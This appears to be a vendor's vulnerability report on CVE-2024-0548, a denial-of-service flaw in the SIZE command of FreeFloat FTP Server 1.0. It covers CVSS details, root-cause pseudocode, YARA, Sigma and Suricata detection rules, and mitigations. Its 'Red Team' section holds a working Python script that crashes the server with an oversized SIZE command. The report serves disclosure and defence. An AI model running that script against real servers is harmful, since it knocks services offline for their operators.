CVE-2024-0548
Executive Summary
CVE-2024-0548 is a denial-of-service (DoS) vulnerability in FreeFloat FTP Server version 1.0. The flaw resides in the SIZE command handler, where improper input validation allows an unauthenticated remote attacker to crash the server by sending a specially crafted SIZE command. With a CVSS score of 5.3 (Medium), the vulnerability is easily exploitable and has a public proof-of-concept (PoC) available. No patch has been released by the vendor, leaving all instances of FreeFloat FTP Server 1.0 exposed. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance for both Red and Blue teams.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated.
- User Interaction: None (UI:N) – no user action needed.
- Scope: Unchanged (S:U) – impact stays within the FTP server.
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: Low (A:L) – server crash, but can be restarted.
Threat Level: Medium. The vulnerability is trivial to exploit and has a public PoC, but the impact is limited to availability (DoS) with no data breach or system compromise.
Deep Dive & Mechanics
The FreeFloat FTP Server 1.0 is a lightweight FTP server for Windows. The SIZE command is used to retrieve the size of a file on the server. The vulnerability occurs because the SIZE command handler does not properly validate the length or content of the argument passed to it. By sending an overly long or malformed string (e.g., a string of repeated characters), the server’s memory buffer is overflowed, causing a segmentation fault or access violation that crashes the FTP service.
Root Cause: Lack of bounds checking on the input buffer for the SIZE command. The server likely uses a fixed-size buffer without verifying that the input fits, leading to a classic buffer overflow.
Attack Flow:
- Attacker connects to the FTP server on port 21.
- Attacker sends
SIZEfollowed by a long string (e.g.,SIZE AAAA...). - The server copies the argument into a fixed buffer without length check.
- The overflow corrupts the stack or heap, causing the process to crash.
- The FTP service becomes unavailable until manually restarted.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely resembles:
// Vulnerable code (pseudo)
void handle_SIZE(char *arg) {
char buffer[256];
strcpy(buffer, arg); // No bounds check
// ... process buffer
}
A patched version would use safe string functions:
// Patched code (pseudo)
void handle_SIZE(char *arg) {
char buffer[256];
strncpy(buffer, arg, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// ... process buffer
}
Since the vendor has not released a patch, users must rely on mitigations (see Remediation & Mitigation).
Exploitation & Lab Setup
Red Team
Lab Setup:
- Target: Windows VM running FreeFloat FTP Server 1.0 (default install).
- Attacker: Kali Linux or any system with Python/Netcat.
Exploit (Python):
#!/usr/bin/env python3
import socket
target_ip = "192.168.1.100"
target_port = 21
# Craft a long SIZE command to trigger DoS
payload = b"SIZE " + b"A" * 1000 + b"\r\n"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# Receive banner
data = sock.recv(1024)
print(f"[*] Banner: {data.decode()}")
# Send payload
sock.send(payload)
print("[*] Payload sent. Server should crash.")
sock.close()
Usage:
- Run the script against the target IP.
- The FTP server will crash, and subsequent connection attempts will fail.
- Verify by attempting to connect with
ftpornetcat.
Blue Team
Detection:
- Monitor FTP logs for repeated SIZE commands with abnormally long arguments.
- Use network IDS/IPS to detect oversized SIZE commands.
- Implement rate limiting on FTP commands.
Honeypot:
- Deploy a honeypot running FreeFloat FTP Server 1.0 to capture attacker behavior.
Indicators of Compromise (IOCs)
- Network:
- FTP traffic containing
SIZEfollowed by a string longer than 256 bytes. - Repeated connection attempts to port 21 from the same source IP.
- FTP traffic containing
- Host:
- FTP server process crash logs (Event ID 1000 on Windows).
- Memory dump showing buffer overflow patterns.
- File:
- No file-based IOCs; the attack is purely network-based.
Detection Engineering
YARA Rule
rule CVE_2024_0548_FreeFloat_FTP_DoS {
meta:
description = "Detects exploit attempts for CVE-2024-0548 in network traffic"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0548"
strings:
$size_cmd = "SIZE " ascii wide nocase
$long_arg = /SIZE\s[A-Za-z0-9]{257,}/ ascii wide
condition:
$size_cmd and $long_arg
}
Sigma Rule
title: CVE-2024-0548 FreeFloat FTP SIZE Command DoS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects oversized SIZE commands targeting FreeFloat FTP Server 1.0
author: Valters IT
logsource:
category: network_connection
product: zeek
detection:
selection:
proto: "tcp"
service: "ftp"
command: "SIZE"
arg_length: >= 257
condition: selection
falsepositives:
- Legitimate FTP clients sending long filenames (unlikely)
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"CVE-2024-0548 FreeFloat FTP SIZE Command DoS Attempt"; flow:to_server,established; content:"SIZE "; nocase; pcre:"/SIZE\s.{257,}/"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the SIZE command in the FTP server configuration if possible.
- Workaround: Use a firewall or IPS to block FTP commands with arguments longer than 256 bytes.
- Long-term: Migrate to a supported FTP server (e.g., FileZilla Server, vsftpd) that is actively maintained.
- Monitoring: Enable detailed FTP logging and alert on anomalous SIZE commands.
- No patch available: The vendor has not released a fix; consider this vulnerability unpatched.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.